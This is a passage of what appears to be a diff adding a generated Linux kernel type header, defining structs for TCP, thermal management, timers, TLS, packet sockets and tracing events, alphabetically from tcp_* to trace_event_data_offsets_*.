*fastopen_cookie; + struct mptcp_out_options mptcp; +}; + +struct tcp_plb_state { + u8 consec_cong_rounds: 5; + u8 unused: 3; + u32 pause_until; +}; + +struct tcp_repair_opt { + __u32 opt_code; + __u32 opt_val; +}; + +struct tcp_repair_window { + __u32 snd_wl1; + __u32 snd_wnd; + __u32 max_window; + __u32 rcv_wnd; + __u32 rcv_wup; +}; + +struct tcp_request_sock_ops; + +struct tcp_request_sock { + struct inet_request_sock req; + const struct tcp_request_sock_ops *af_specific; + u64 snt_synack; + bool tfo_listener; + bool is_mptcp; + bool req_usec_ts; + u32 txhash; + u32 rcv_isn; + u32 snt_isn; + u32 ts_off; + u32 last_oow_ack_time; + u32 rcv_nxt; + u8 syn_tos; +}; + +struct tcp_request_sock_ops { + u16 mss_clamp; + __u32 (*cookie_init_seq)(const struct sk_buff *, __u16 *); + struct dst_entry * (*route_req)(const struct sock *, struct sk_buff *, struct flowi *, struct request_sock *, u32); + u32 (*init_seq)(const struct sk_buff *); + u32 (*init_ts_off)(const struct net *, const struct sk_buff *); + int (*send_synack)(const struct sock *, struct dst_entry *, struct flowi *, struct request_sock *, struct tcp_fastopen_cookie *, enum tcp_synack_type, struct sk_buff *); +}; + +struct tcp_sack_block_wire { + __be32 start_seq; + __be32 end_seq; +}; + +struct tcp_sacktag_state { + u64 first_sackt; + u64 last_sackt; + u32 reord; + u32 sack_delivered; + int flag; + unsigned int mss_now; + struct rate_sample *rate; +}; + +struct tcp_seq_afinfo { + sa_family_t family; +}; + +struct tcp_skb_cb { + __u32 seq; + __u32 end_seq; + union { + struct { + u16 tcp_gso_segs; + u16 tcp_gso_size; + }; + }; + __u8 tcp_flags; + __u8 sacked; + __u8 ip_dsfield; + __u8 txstamp_ack: 1; + __u8 eor: 1; + __u8 has_rxtstamp: 1; + __u8 unused: 5; + __u32 ack_seq; + union { + struct { + __u32 is_app_limited: 1; + __u32 delivered_ce: 20; + __u32 unused: 11; + __u32 delivered; + u64 first_tx_mstamp; + u64 delivered_mstamp; + } tx; + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + }; +}; + +struct tcp_splice_state { + struct pipe_inode_info *pipe; + size_t len; + unsigned int flags; +}; + +struct tcp_timewait_sock { + struct inet_timewait_sock tw_sk; + u32 tw_rcv_wnd; + u32 tw_ts_offset; + u32 tw_ts_recent; + u32 tw_last_oow_ack_time; + int tw_ts_recent_stamp; + u32 tw_tx_delay; +}; + +struct tcp_ulp_ops { + struct list_head list; + int (*init)(struct sock *); + void (*update)(struct sock *, struct proto *, void (*)(struct sock *)); + void (*release)(struct sock *); + int (*get_info)(struct sock *, struct sk_buff *); + size_t (*get_info_size)(const struct sock *); + void (*clone)(const struct request_sock *, struct sock *, const gfp_t); + char name[16]; + struct module *owner; +}; + +struct tcphdr { + __be16 source; + __be16 dest; + __be32 seq; + __be32 ack_seq; + __u16 res1: 4; + __u16 doff: 4; + __u16 fin: 1; + __u16 syn: 1; + __u16 rst: 1; + __u16 psh: 1; + __u16 ack: 1; + __u16 urg: 1; + __u16 ece: 1; + __u16 cwr: 1; + __be16 window; + __sum16 check; + __be16 urg_ptr; +}; + +union tcp_word_hdr { + struct tcphdr hdr; + __be32 words[5]; +}; + +struct tcp_xa_pool { + u8 max; + u8 idx; + __u32 tokens[17]; + netmem_ref netmems[17]; +}; + +struct tcp_zerocopy_receive { + __u64 address; + __u32 length; + __u32 recv_skip_hint; + __u32 inq; + __s32 err; + __u64 copybuf_address; + __s32 copybuf_len; + __u32 flags; + __u64 msg_control; + __u64 msg_controllen; + __u32 msg_flags; + __u32 reserved; +}; + +struct tcpm_hash_bucket { + struct tcp_metrics_block __attribute__((btf_type_tag("rcu"))) *chain; +}; + +struct tctl_offset { + u8 model; + const char *id; + int offset; +}; + +struct tcx_entry { + struct mini_Qdisc __attribute__((btf_type_tag("rcu"))) *miniq; + struct bpf_mprog_bundle bundle; + u32 miniq_active; + struct callback_head rcu; +}; + +struct tcx_link { + struct bpf_link link; + struct net_device *dev; + u32 location; +}; + +struct temp_masks { + u32 tcc_offset; + u32 digital_readout; + u32 pkg_digital_readout; +}; + +struct temp_report_ths_cmd { + __le32 num_temps; + __le16 thresholds[8]; +}; + +struct termio { + unsigned short c_iflag; + unsigned short c_oflag; + unsigned short c_cflag; + unsigned short c_lflag; + unsigned char c_line; + unsigned char c_cc[8]; +}; + +struct termios { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; +}; + +struct termios2 { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; + speed_t c_ispeed; + speed_t c_ospeed; +}; + +union text_poke_insn { + u8 text[5]; + struct { + u8 opcode; + s32 disp; + } __attribute__((packed)); +}; + +struct text_poke_loc { + s32 rel_addr; + s32 disp; + u8 len; + u8 opcode; + const u8 text[5]; + u8 old; +}; + +struct tgid_iter { + unsigned int tgid; + struct task_struct *task; +}; + +struct thermal_attr { + struct device_attribute attr; + char name[20]; +}; + +struct thermal_cooling_device_ops; + +struct thermal_cooling_device { + int id; + const char *type; + unsigned long max_state; + struct device device; + struct device_node *np; + void *devdata; + void *stats; + const struct thermal_cooling_device_ops *ops; + bool updated; + struct mutex lock; + struct list_head thermal_instances; + struct list_head node; +}; + +struct thermal_cooling_device_ops { + int (*get_max_state)(struct thermal_cooling_device *, unsigned long *); + int (*get_cur_state)(struct thermal_cooling_device *, unsigned long *); + int (*set_cur_state)(struct thermal_cooling_device *, unsigned long); + int (*get_requested_power)(struct thermal_cooling_device *, u32 *); + int (*state2power)(struct thermal_cooling_device *, unsigned long, u32 *); + int (*power2state)(struct thermal_cooling_device *, u32, unsigned long *); +}; + +struct thermal_governor { + const char *name; + int (*bind_to_tz)(struct thermal_zone_device *); + void (*unbind_from_tz)(struct thermal_zone_device *); + void (*trip_crossed)(struct thermal_zone_device *, const struct thermal_trip *, bool); + void (*manage)(struct thermal_zone_device *); + void (*update_tz)(struct thermal_zone_device *, enum thermal_notify_event); + struct list_head governor_list; +}; + +struct thermal_hwmon_attr { + struct device_attribute attr; + char name[16]; +}; + +struct thermal_hwmon_device { + char type[20]; + struct device *device; + int count; + struct list_head tz_list; + struct list_head node; +}; + +struct thermal_hwmon_temp { + struct list_head hwmon_node; + struct thermal_zone_device *tz; + struct thermal_hwmon_attr temp_input; + struct thermal_hwmon_attr temp_crit; +}; + +struct thermal_instance { + int id; + char name[20]; + struct thermal_cooling_device *cdev; + const struct thermal_trip *trip; + bool initialized; + unsigned long upper; + unsigned long lower; + unsigned long target; + char attr_name[20]; + struct device_attribute attr; + char weight_attr_name[20]; + struct device_attribute weight_attr; + struct list_head tz_node; + struct list_head cdev_node; + unsigned int weight; + bool upper_no_limit; +}; + +struct thermal_state { + struct _thermal_state core_throttle; + struct _thermal_state core_power_limit; + struct _thermal_state package_throttle; + struct _thermal_state package_power_limit; + struct _thermal_state core_thresh0; + struct _thermal_state core_thresh1; + struct _thermal_state pkg_thresh0; + struct _thermal_state pkg_thresh1; +}; + +struct thermal_trip_attrs { + struct thermal_attr type; + struct thermal_attr temp; + struct thermal_attr hyst; +}; + +struct thermal_trip_desc { + struct thermal_trip trip; + struct thermal_trip_attrs trip_attrs; + struct list_head notify_list_node; + int notify_temp; + int threshold; +}; + +struct thermal_zone_device_ops { + bool (*should_bind)(struct thermal_zone_device *, const struct thermal_trip *, struct thermal_cooling_device *, struct cooling_spec *); + int (*get_temp)(struct thermal_zone_device *, int *); + int (*set_trips)(struct thermal_zone_device *, int, int); + int (*change_mode)(struct thermal_zone_device *, enum thermal_device_mode); + int (*set_trip_temp)(struct thermal_zone_device *, const struct thermal_trip *, int); + int (*get_crit_temp)(struct thermal_zone_device *, int *); + int (*set_emul_temp)(struct thermal_zone_device *, int); + int (*get_trend)(struct thermal_zone_device *, const struct thermal_trip *, enum thermal_trend *); + void (*hot)(struct thermal_zone_device *); + void (*critical)(struct thermal_zone_device *); +}; + +struct thermal_zone_params; + +struct thermal_zone_device { + int id; + char type[20]; + struct device device; + struct completion removal; + struct completion resume; + struct attribute_group trips_attribute_group; + enum thermal_device_mode mode; + void *devdata; + int num_trips; + unsigned long passive_delay_jiffies; + unsigned long polling_delay_jiffies; + unsigned long recheck_delay_jiffies; + int temperature; + int last_temperature; + int emul_temperature; + int passive; + int prev_low_trip; + int prev_high_trip; + atomic_t need_update; + struct thermal_zone_device_ops ops; + struct thermal_zone_params *tzp; + struct thermal_governor *governor; + void *governor_data; + struct list_head thermal_instances; + struct ida ida; + struct mutex lock; + struct list_head node; + struct delayed_work poll_queue; + enum thermal_notify_event notify_event; + bool suspended; + bool resuming; + struct thermal_trip_desc trips[0]; +}; + +struct thermal_zone_params { + const char *governor_name; + bool no_hwmon; + u32 sustainable_power; + s32 k_po; + s32 k_pu; + s32 k_i; + s32 k_d; + s32 integral_cutoff; + int slope; + int offset; +}; + +struct thpsize { + struct kobject kobj; + struct list_head node; + int order; +}; + +struct threshold_block; + +struct threshold_bank { + struct kobject *kobj; + struct threshold_block *blocks; + refcount_t cpus; + unsigned int shared; +}; + +struct threshold_block { + unsigned int block; + unsigned int bank; + unsigned int cpu; + u32 address; + u16 interrupt_enable; + bool interrupt_capable; + u16 threshold_limit; + struct kobject kobj; + struct list_head miscj; +}; + +struct throtl_service_queue { + struct throtl_service_queue *parent_sq; + struct list_head queued[2]; + unsigned int nr_queued[2]; + struct rb_root_cached pending_tree; + unsigned int nr_pending; + unsigned long first_pending_disptime; + struct timer_list pending_timer; +}; + +struct throtl_data { + struct throtl_service_queue service_queue; + struct request_queue *queue; + unsigned int nr_queued[2]; + unsigned int throtl_slice; + struct work_struct dispatch_work; + bool track_bio_latency; +}; + +struct throtl_grp; + +struct throtl_qnode { + struct list_head node; + struct bio_list bios; + struct throtl_grp *tg; +}; + +struct throtl_grp { + struct blkg_policy_data pd; + struct rb_node rb_node; + struct throtl_data *td; + struct throtl_service_queue service_queue; + struct throtl_qnode qnode_on_self[2]; + struct throtl_qnode qnode_on_parent[2]; + unsigned long disptime; + unsigned int flags; + bool has_rules_bps[2]; + bool has_rules_iops[2]; + uint64_t bps[2]; + unsigned int iops[2]; + uint64_t bytes_disp[2]; + unsigned int io_disp[2]; + uint64_t last_bytes_disp[2]; + unsigned int last_io_disp[2]; + long long carryover_bytes[2]; + int carryover_ios[2]; + unsigned long last_check_time; + unsigned long slice_start[2]; + unsigned long slice_end[2]; + struct blkg_rwstat stat_bytes; + struct blkg_rwstat stat_ios; +}; + +struct throttling_tstate { + unsigned int cpu; + int target_state; +}; + +struct tick_device { + struct clock_event_device *evtdev; + enum tick_device_mode mode; +}; + +struct tick_sched { + unsigned long flags; + unsigned int stalled_jiffies; + unsigned long last_tick_jiffies; + struct hrtimer sched_timer; + ktime_t last_tick; + ktime_t next_tick; + unsigned long idle_jiffies; + ktime_t idle_waketime; + unsigned int got_idle_tick; + seqcount_t idle_sleeptime_seq; + ktime_t idle_entrytime; + unsigned long last_jiffies; + u64 timer_expires_base; + u64 timer_expires; + u64 next_timer; + ktime_t idle_expires; + unsigned long idle_calls; + unsigned long idle_sleeps; + ktime_t idle_exittime; + ktime_t idle_sleeptime; + ktime_t iowait_sleeptime; + atomic_t tick_dep_mask; + unsigned long check_clocks; +}; + +struct tick_work { + int cpu; + atomic_t state; + struct delayed_work work; +}; + +struct tid_ampdu_rx { + struct callback_head callback_head; + spinlock_t reorder_lock; + u64 reorder_buf_filtered; + struct sk_buff_head *reorder_buf; + unsigned long *reorder_time; + struct sta_info *sta; + struct timer_list session_timer; + struct timer_list reorder_timer; + unsigned long last_rx; + u16 head_seq_num; + u16 stored_mpdu_num; + u16 ssn; + u16 buf_size; + u16 timeout; + u8 tid; + u8 auto_seq: 1; + u8 removed: 1; + u8 started: 1; +}; + +struct tid_ampdu_tx { + struct callback_head callback_head; + struct timer_list session_timer; + struct timer_list addba_resp_timer; + struct sk_buff_head pending; + struct sta_info *sta; + unsigned long state; + unsigned long last_tx; + u16 timeout; + u8 dialog_token; + u8 stop_initiator; + bool tx_stop; + u16 buf_size; + u16 ssn; + u16 failed_bar_ssn; + bool bar_pending; + bool amsdu; + u8 tid; +}; + +struct timens_offsets { + struct timespec64 monotonic; + struct timespec64 boottime; +}; + +struct time_namespace { + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct ns_common ns; + struct timens_offsets offsets; + struct page *vvar_page; + bool frozen_offsets; +}; + +struct timedia_struct { + int num; + const unsigned short *ids; +}; + +struct tk_read_base { + struct clocksource *clock; + u64 mask; + u64 cycle_last; + u32 mult; + u32 shift; + u64 xtime_nsec; + ktime_t base; + u64 base_real; +}; + +struct timekeeper { + struct tk_read_base tkr_mono; + struct tk_read_base tkr_raw; + u64 xtime_sec; + unsigned long ktime_sec; + struct timespec64 wall_to_monotonic; + ktime_t offs_real; + ktime_t offs_boot; + ktime_t offs_tai; + s32 tai_offset; + unsigned int clock_was_set_seq; + u8 cs_was_changed_seq; + ktime_t next_leap_ktime; + u64 raw_sec; + struct timespec64 monotonic_to_boot; + u64 cycle_interval; + u64 xtime_interval; + s64 xtime_remainder; + u64 raw_interval; + u64 ntp_tick; + s64 ntp_error; + u32 ntp_error_shift; + u32 ntp_err_mult; + u32 skip_second_overflow; +}; + +struct timens_offset { + s64 sec; + u64 nsec; +}; + +struct timer_base { + raw_spinlock_t lock; + struct timer_list *running_timer; + unsigned long clk; + unsigned long next_expiry; + unsigned int cpu; + bool next_expiry_recalc; + bool is_idle; + bool timers_pending; + unsigned long pending_map[9]; + struct hlist_head vectors[576]; + long: 64; + long: 64; + long: 64; +}; + +struct timer_events { + u64 local; + u64 global; +}; + +struct timer_list_iter { + int cpu; + bool second_pass; + u64 now; +}; + +struct timer_rand_state { + unsigned long last_time; + long last_delta; + long last_delta2; +}; + +struct timerfd_ctx { + union { + struct hrtimer tmr; + struct alarm alarm; + } t; + ktime_t tintv; + ktime_t moffs; + wait_queue_head_t wqh; + u64 ticks; + int clockid; + unsigned short expired; + unsigned short settime_flags; + struct callback_head rcu; + struct list_head clist; + spinlock_t cancel_lock; + bool might_cancel; +}; + +struct timerlat_entry { + struct trace_entry ent; + unsigned int seqnum; + int context; + u64 timer_latency; +}; + +struct timestamp_event_queue { + struct ptp_extts_event buf[128]; + int head; + int tail; + spinlock_t lock; + struct list_head qlist; + unsigned long *mask; + struct dentry *debugfs_instance; + struct debugfs_u32_array dfs_bitmap; +}; + +struct timewait_sock_ops { + struct kmem_cache *twsk_slab; + char *twsk_slab_name; + unsigned int twsk_obj_size; + void (*twsk_destructor)(struct sock *); +}; + +struct timezone { + int tz_minuteswest; + int tz_dsttime; +}; + +struct tiocl_selection { + unsigned short xs; + unsigned short ys; + unsigned short xe; + unsigned short ye; + unsigned short sel_mode; +}; + +struct tipc_basic_hdr { + __be32 w[4]; +}; + +struct tk_fast { + seqcount_latch_t seq; + struct tk_read_base base[2]; +}; + +struct tlb_context { + u64 ctx_id; + u64 tlb_gen; +}; + +struct tlb_state { + struct mm_struct *loaded_mm; + union { + struct mm_struct *last_user_mm; + unsigned long last_user_mm_spec; + }; + u16 loaded_mm_asid; + u16 next_asid; + bool invalidate_other; + unsigned short user_pcid_flush_mask; + unsigned long cr4; + struct tlb_context ctxs[6]; +}; + +struct tlb_state_shared { + bool is_lazy; +}; + +struct tls_crypto_info { + __u16 version; + __u16 cipher_type; +}; + +struct tls12_crypto_info_aes_gcm_128 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_aes_gcm_256 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[32]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_chacha20_poly1305 { + struct tls_crypto_info info; + unsigned char iv[12]; + unsigned char key[32]; + unsigned char salt[0]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_sm4_ccm { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_sm4_gcm { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls_prot_info { + u16 version; + u16 cipher_type; + u16 prepend_size; + u16 tag_size; + u16 overhead_size; + u16 iv_size; + u16 salt_size; + u16 rec_seq_size; + u16 aad_size; + u16 tail_size; +}; + +union tls_crypto_context { + struct tls_crypto_info info; + union { + struct tls12_crypto_info_aes_gcm_128 aes_gcm_128; + struct tls12_crypto_info_aes_gcm_256 aes_gcm_256; + struct tls12_crypto_info_chacha20_poly1305 chacha20_poly1305; + struct tls12_crypto_info_sm4_gcm sm4_gcm; + struct tls12_crypto_info_sm4_ccm sm4_ccm; + }; +}; + +struct tls_context { + struct tls_prot_info prot_info; + u8 tx_conf: 3; + u8 rx_conf: 3; + u8 zerocopy_sendfile: 1; + u8 rx_no_pad: 1; + int (*push_pending_record)(struct sock *, int); + void (*sk_write_space)(struct sock *); + void *priv_ctx_tx; + void *priv_ctx_rx; + struct net_device __attribute__((btf_type_tag("rcu"))) *netdev; + struct cipher_context tx; + struct cipher_context rx; + struct scatterlist *partially_sent_record; + u16 partially_sent_offset; + bool splicing_pages; + bool pending_open_record_frags; + struct mutex tx_lock; + unsigned long flags; + struct proto *sk_proto; + struct sock *sk; + void (*sk_destruct)(struct sock *); + union tls_crypto_context crypto_send; + union tls_crypto_context crypto_recv; + struct list_head list; + refcount_t refcount; + struct callback_head rcu; +}; + +struct tls_strparser { + struct sock *sk; + u32 mark: 8; + u32 stopped: 1; + u32 copy_mode: 1; + u32 mixed_decrypted: 1; + bool msg_ready; + struct strp_msg stm; + struct sk_buff *anchor; + struct work_struct work; +}; + +struct tls_sw_context_rx { + struct crypto_aead *aead_recv; + struct crypto_wait async_wait; + struct sk_buff_head rx_list; + void (*saved_data_ready)(struct sock *); + u8 reader_present; + u8 async_capable: 1; + u8 zc_capable: 1; + u8 reader_contended: 1; + struct tls_strparser strp; + atomic_t decrypt_pending; + struct sk_buff_head async_hold; + struct wait_queue_head wq; +}; + +struct tx_work { + struct delayed_work work; + struct sock *sk; +}; + +struct tls_rec; + +struct tls_sw_context_tx { + struct crypto_aead *aead_send; + struct crypto_wait async_wait; + struct tx_work tx_work; + struct tls_rec *open_rec; + struct list_head tx_list; + atomic_t encrypt_pending; + u8 async_capable: 1; + unsigned long tx_bitmask; +}; + +struct tm { + int tm_sec; + int tm_min; + int tm_hour; + int tm_mday; + int tm_mon; + long tm_year; + int tm_wday; + int tm_yday; +}; + +struct tmigr_event { + struct timerqueue_node nextevt; + unsigned int cpu; + bool ignore; +}; + +struct tmigr_group; + +struct tmigr_cpu { + raw_spinlock_t lock; + bool online; + bool idle; + bool remote; + struct tmigr_group *tmgroup; + u8 groupmask; + u64 wakeup; + struct tmigr_event cpuevt; +}; + +struct tmigr_group { + raw_spinlock_t lock; + struct tmigr_group *parent; + struct tmigr_event groupevt; + u64 next_expiry; + struct timerqueue_head events; + atomic_t migr_state; + unsigned int level; + int numa_node; + unsigned int num_children; + u8 groupmask; + struct list_head list; +}; + +union tmigr_state { + u32 state; + struct { + u8 active; + u8 migrator; + u16 seq; + }; +}; + +struct tmigr_walk { + u64 nextexp; + u64 firstexp; + struct tmigr_event *evt; + u8 childmask; + bool remote; + unsigned long basej; + u64 now; + bool check; + bool tmc_active; +}; + +struct tmpmasks { + cpumask_var_t addmask; + cpumask_var_t delmask; + cpumask_var_t new_cpus; +}; + +struct tms { + __kernel_clock_t tms_utime; + __kernel_clock_t tms_stime; + __kernel_clock_t tms_cutime; + __kernel_clock_t tms_cstime; +}; + +struct tnl_ptk_info { + unsigned long flags[1]; + __be16 proto; + __be32 key; + __be32 seq; + int hdr_len; +}; + +struct tnode { + struct callback_head rcu; + t_key empty_children; + t_key full_children; + struct key_vector __attribute__((btf_type_tag("rcu"))) *parent; + struct key_vector kv[1]; +}; + +struct topa { + struct list_head list; + u64 offset; + size_t size; + int last; + unsigned int z_count; +}; + +struct topa_entry { + u64 end: 1; + u64 rsvd0: 1; + u64 intr: 1; + u64 rsvd1: 1; + u64 stop: 1; + u64 rsvd2: 1; + u64 size: 4; + u64 rsvd3: 2; + u64 base: 40; + u64 rsvd4: 12; +}; + +struct topa_page { + struct topa_entry table[507]; + struct topa topa; +}; + +struct topo_scan { + struct cpuinfo_x86 *c; + unsigned int dom_shifts[7]; + unsigned int dom_ncpus[7]; + unsigned int ebx1_nproc_shift; + u16 amd_nodes_per_pkg; + u16 amd_node_id; +}; + +struct touchscreen_properties { + unsigned int max_x; + unsigned int max_y; + bool invert_x; + bool invert_y; + bool swap_x_y; +}; + +struct tp_module { + struct list_head list; + struct module *mod; +}; + +struct tracepoint_func { + void *func; + void *data; + int prio; +}; + +struct tp_probes { + struct callback_head rcu; + struct tracepoint_func probes[0]; +}; + +struct tp_transition_snapshot { + unsigned long rcu; + unsigned long srcu; + bool ongoing; +}; + +struct tpacket2_hdr { + __u32 tp_status; + __u32 tp_len; + __u32 tp_snaplen; + __u16 tp_mac; + __u16 tp_net; + __u32 tp_sec; + __u32 tp_nsec; + __u16 tp_vlan_tci; + __u16 tp_vlan_tpid; + __u8 tp_padding[4]; +}; + +struct tpacket_hdr_variant1 { + __u32 tp_rxhash; + __u32 tp_vlan_tci; + __u16 tp_vlan_tpid; + __u16 tp_padding; +}; + +struct tpacket3_hdr { + __u32 tp_next_offset; + __u32 tp_sec; + __u32 tp_nsec; + __u32 tp_snaplen; + __u32 tp_len; + __u32 tp_status; + __u16 tp_mac; + __u16 tp_net; + union { + struct tpacket_hdr_variant1 hv1; + }; + __u8 tp_padding[8]; +}; + +struct tpacket_auxdata { + __u32 tp_status; + __u32 tp_len; + __u32 tp_snaplen; + __u16 tp_mac; + __u16 tp_net; + __u16 tp_vlan_tci; + __u16 tp_vlan_tpid; +}; + +struct tpacket_bd_ts { + unsigned int ts_sec; + union { + unsigned int ts_usec; + unsigned int ts_nsec; + }; +}; + +struct tpacket_hdr_v1 { + __u32 block_status; + __u32 num_pkts; + __u32 offset_to_first_pkt; + __u32 blk_len; + __u64 seq_num; + struct tpacket_bd_ts ts_first_pkt; + struct tpacket_bd_ts ts_last_pkt; +}; + +union tpacket_bd_header_u { + struct tpacket_hdr_v1 bh1; +}; + +struct tpacket_block_desc { + __u32 version; + __u32 offset_to_priv; + union tpacket_bd_header_u hdr; +}; + +struct tpacket_hdr { + unsigned long tp_status; + unsigned int tp_len; + unsigned int tp_snaplen; + unsigned short tp_mac; + unsigned short tp_net; + unsigned int tp_sec; + unsigned int tp_usec; +}; + +struct tpacket_req { + unsigned int tp_block_size; + unsigned int tp_block_nr; + unsigned int tp_frame_size; + unsigned int tp_frame_nr; +}; + +struct tpacket_req3 { + unsigned int tp_block_size; + unsigned int tp_block_nr; + unsigned int tp_frame_size; + unsigned int tp_frame_nr; + unsigned int tp_retire_blk_tov; + unsigned int tp_sizeof_priv; + unsigned int tp_feature_req_word; +}; + +union tpacket_req_u { + struct tpacket_req req; + struct tpacket_req3 req3; +}; + +struct tpacket_rollover_stats { + __u64 tp_all; + __u64 tp_huge; + __u64 tp_failed; +}; + +union tpacket_uhdr { + struct tpacket_hdr *h1; + struct tpacket2_hdr *h2; + struct tpacket3_hdr *h3; + void *raw; +}; + +struct trace_pid_list; + +struct trace_options; + +struct trace_func_repeats; + +struct trace_array { + struct list_head list; + char *name; + struct array_buffer array_buffer; + unsigned int mapped; + unsigned long range_addr_start; + unsigned long range_addr_size; + long text_delta; + long data_delta; + struct trace_pid_list __attribute__((btf_type_tag("rcu"))) *filtered_pids; + struct trace_pid_list __attribute__((btf_type_tag("rcu"))) *filtered_no_pids; + arch_spinlock_t max_lock; + int buffer_disabled; + int sys_refcount_enter; + int sys_refcount_exit; + struct trace_event_file __attribute__((btf_type_tag("rcu"))) *enter_syscall_files[463]; + struct trace_event_file __attribute__((btf_type_tag("rcu"))) *exit_syscall_files[463]; + int stop_count; + int clock_id; + int nr_topts; + bool clear_trace; + int buffer_percent; + unsigned int n_err_log_entries; + struct tracer *current_trace; + unsigned int trace_flags; + unsigned char trace_flags_index[32]; + unsigned int flags; + raw_spinlock_t start_lock; + const char *system_names; + struct list_head err_log; + struct dentry *dir; + struct dentry *options; + struct dentry *percpu_dir; + struct eventfs_inode *event_dir; + struct trace_options *topts; + struct list_head systems; + struct list_head events; + struct trace_event_file *trace_marker_file; + cpumask_var_t tracing_cpumask; + cpumask_var_t pipe_cpumask; + int ref; + int trace_ref; + struct ftrace_ops *ops; + struct trace_pid_list __attribute__((btf_type_tag("rcu"))) *function_pids; + struct trace_pid_list __attribute__((btf_type_tag("rcu"))) *function_no_pids; + struct fgraph_ops *gops; + struct list_head func_probes; + struct list_head mod_trace; + struct list_head mod_notrace; + int function_enabled; + int no_filter_buffering_ref; + struct list_head hist_vars; + struct trace_func_repeats __attribute__((btf_type_tag("percpu"))) *last_func_repeats; + bool ring_buffer_expanded; +}; + +struct trace_array_cpu { + atomic_t disabled; + void *buffer_page; + unsigned long entries; + unsigned long saved_latency; + unsigned long critical_start; + unsigned long critical_end; + unsigned long critical_sequence; + unsigned long nice; + unsigned long policy; + unsigned long rt_priority; + unsigned long skipped_entries; + u64 preempt_timestamp; + pid_t pid; + kuid_t uid; + char comm[16]; + int ftrace_ignore_pid; + bool ignore_pid; +}; + +struct trace_bprintk_fmt { + struct list_head list; + const char *fmt; +}; + +struct trace_buffer { + unsigned int flags; + int cpus; + atomic_t record_disabled; + atomic_t resizing; + cpumask_var_t cpumask; + struct lock_class_key *reader_lock_key; + struct mutex mutex; + struct ring_buffer_per_cpu **buffers; + struct hlist_node node; + u64 (*clock)(void); + struct rb_irq_work irq_work; + bool time_stamp_abs; + unsigned long range_addr_start; + unsigned long range_addr_end; + long last_text_delta; + long last_data_delta; + unsigned int subbuf_size; + unsigned int subbuf_order; + unsigned int max_data_size; +}; + +struct trace_buffer_meta { + __u32 meta_page_size; + __u32 meta_struct_len; + __u32 subbuf_size; + __u32 nr_subbufs; + struct { + __u64 lost_events; + __u32 id; + __u32 read; + } reader; + __u64 flags; + __u64 entries; + __u64 overrun; + __u64 read; + __u64 Reserved1; + __u64 Reserved2; +}; + +struct trace_buffer_struct { + int nesting; + char buffer[4096]; +}; + +struct trace_chandef_entry { + u32 control_freq; + u32 freq_offset; + u32 chan_width; + u32 center_freq1; + u32 freq1_offset; + u32 center_freq2; +}; + +struct trace_probe_event; + +struct trace_probe { + struct list_head list; + struct trace_probe_event *event; + ssize_t size; + unsigned int nr_args; + struct probe_entry_arg *entry_arg; + struct probe_arg args[0]; +}; + +struct trace_eprobe { + const char *event_system; + const char *event_name; + char *filter_str; + struct trace_event_call *event; + struct dyn_event devent; + struct trace_probe tp; +}; + +struct trace_eval_map { + const char *system; + const char *eval_string; + unsigned long eval_value; +}; + +struct trace_event_data_offsets_alarm_class {}; + +struct trace_event_data_offsets_alarmtimer_suspend {}; + +struct trace_event_data_offsets_alloc_extent_state {}; + +struct trace_event_data_offsets_alloc_vmap_area {}; + +struct trace_event_data_offsets_amd_pstate_perf {}; + +struct trace_event_data_offsets_api_beacon_loss { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_chswitch_done { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_connection_loss { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_cqm_rssi_notify { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_disconnect { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_enable_rssi_reports { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_eosp {}; + +struct trace_event_data_offsets_api_gtk_rekey_notify { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_radar_detected {}; + +struct trace_event_data_offsets_api_request_smps { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_scan_completed {}; + +struct trace_event_data_offsets_api_sched_scan_results {}; + +struct trace_event_data_offsets_api_sched_scan_stopped {}; + +struct trace_event_data_offsets_api_send_eosp_nullfunc {}; + +struct trace_event_data_offsets_api_sta_block_awake {}; + +struct trace_event_data_offsets_api_sta_set_buffered {}; + +struct trace_event_data_offsets_api_start_tx_ba_cb { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_start_tx_ba_session {}; + +struct trace_event_data_offsets_api_stop_tx_ba_cb { + u32 vif_name; + const void *vif_name_ptr_; +}; + +struct trace_event_data_offsets_api_stop_tx_ba_session {}; + +struct trace_event_data_offsets_ata_bmdma_status {}; + +struct trace_event_data_offsets_ata_eh_action_template {}; + +struct trace_event_data_offsets_ata_eh_link_autopsy {}; + +struct trace_event_data_offsets_ata_eh_link_autopsy_qc {}; + +struct trace_event_data_offsets_ata_exec_command_template {}; + +struct trace_event_data_offsets_ata_link_reset_begin_template {}; + +struct trace_event_data_offsets_ata_link_reset_end_template {}; + +struct trace_event_data_offsets_ata_port_eh_begin_template {}; + +struct trace_event_data_offsets_ata_qc_complete_template {}; + +struct trace_event_data_offsets_ata_qc_issue_template {}; + +struct trace_event_data_offsets_ata_sff_hsm_template {}; + +struct trace_event_data_offsets_ata_sff_template {}; + +struct trace_event_data_offsets_ata_tf_load {}; + +struct trace_event_data_offsets_ata_transfer_data_template {}; + +struct 